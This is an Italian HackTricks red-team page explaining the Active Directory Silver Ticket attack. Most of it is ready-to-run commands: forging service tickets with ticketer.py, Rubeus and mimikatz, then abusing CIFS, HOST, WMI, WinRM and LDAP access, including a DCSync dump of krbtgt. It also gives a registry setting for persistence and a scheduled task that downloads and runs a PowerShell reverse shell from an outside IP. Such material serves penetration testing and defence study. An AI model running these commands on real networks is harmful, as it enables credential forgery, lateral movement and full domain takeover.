Silver Ticket

Reading time: 6 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Silver ticket

L'attacco Silver Ticket comporta lo sfruttamento dei ticket di servizio negli ambienti Active Directory (AD). Questo metodo si basa su acquisire l'hash NTLM di un account di servizio, come un account computer, per forgiare un ticket del Ticket Granting Service (TGS). Con questo ticket falsificato, un attaccante può accedere a servizi specifici sulla rete, impersonando qualsiasi utente, tipicamente puntando a privilegi amministrativi. È sottolineato che l'uso di chiavi AES per forgiare ticket è più sicuro e meno rilevabile.

warning

I Silver Tickets sono meno rilevabili dei Golden Tickets perché richiedono solo l'hash dell'account di servizio, non l'account krbtgt. Tuttavia, sono limitati al servizio specifico che mirano. Inoltre, basta rubare la password di un utente.

Inoltre, se comprometti la password di un account con un SPN, puoi usare quella password per creare un Silver Ticket impersonando qualsiasi utente per quel servizio.

Per la creazione di ticket, vengono impiegati diversi strumenti in base al sistema operativo:

On Linux

bash
python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass

Su Windows

bash
# Using Rubeus
## /ldap option is used to get domain data automatically
## With /ptt we already load the tickt in memory
rubeus.exe asktgs /user:<USER> [/rc4:<HASH> /aes128:<HASH> /aes256:<HASH>] /domain:<DOMAIN> /ldap /service:cifs/domain.local /ptt /nowrap /printcmd

# Create the ticket
mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> /rc4:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET>"

# Inject the ticket
mimikatz.exe "kerberos::ptt <TICKET_FILE>"
.\Rubeus.exe ptt /ticket:<TICKET_FILE>

# Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd

Il servizio CIFS è evidenziato come un obiettivo comune per accedere al file system della vittima, ma altri servizi come HOST e RPCSS possono essere sfruttati anche per attività e query WMI.

Servizi Disponibili

Tipo di ServizioBiglietti Silver del Servizio
WMI

HOST

RPCSS

PowerShell Remoting

HOST

HTTP

A seconda del sistema operativo anche:

WSMAN

RPCSS

WinRM

HOST

HTTP

In alcune occasioni puoi semplicemente chiedere: WINRM

Attività PianificateHOST
Condivisione File di Windows, anche psexecCIFS
Operazioni LDAP, incluso DCSyncLDAP
Strumenti di Amministrazione Remota di Windows

RPCSS

LDAP

CIFS

Biglietti d'Orokrbtgt

Utilizzando Rubeus puoi richiedere tutti questi biglietti utilizzando il parametro:

  • /altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm

ID Evento Biglietti Silver

  • 4624: Accesso all'Account
  • 4634: Disconnessione dell'Account
  • 4672: Accesso Amministratore

Persistenza

Per evitare che le macchine ruotino la loro password ogni 30 giorni, imposta HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1 oppure puoi impostare HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge a un valore maggiore di 30 giorni per indicare il periodo di rotazione quando la password della macchina dovrebbe essere ruotata.

Abuso dei Biglietti di Servizio

Negli esempi seguenti immaginiamo che il biglietto venga recuperato impersonando l'account amministratore.

CIFS

Con questo biglietto sarai in grado di accedere alle cartelle C$ e ADMIN$ tramite SMB (se sono esposte) e copiare file in una parte del file system remoto semplicemente facendo qualcosa come:

bash
dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp

Potrai anche ottenere una shell all'interno dell'host o eseguire comandi arbitrari utilizzando psexec:

PsExec/Winexec/ScExec

HOST

Con questo permesso puoi generare attività pianificate nei computer remoti ed eseguire comandi arbitrari:

bash
#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
#Create scheduled task, first for exe execution, second for powershell reverse shell download
schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
#Check it was successfully created
schtasks /query /S some.vuln.pc
#Run created schtask now
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"

HOST + RPCSS

Con questi biglietti puoi eseguire WMI nel sistema della vittima:

bash
#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
#Execute code
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"

#You can also use wmic
wmic remote.computer.local list full /format:list

Trova ulteriori informazioni su wmiexec nella seguente pagina:

WmiExec

HOST + WSMAN (WINRM)

Con accesso winrm su un computer puoi accedervi e persino ottenere un PowerShell:

bash
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC

Controlla la seguente pagina per apprendere ulteriori modi per connettersi a un host remoto utilizzando winrm:

WinRM

warning

Nota che winrm deve essere attivo e in ascolto sul computer remoto per accedervi.

LDAP

Con questo privilegio puoi eseguire il dump del database DC utilizzando DCSync:

mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt

Scopri di più su DCSync nella seguente pagina:

DCSync

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks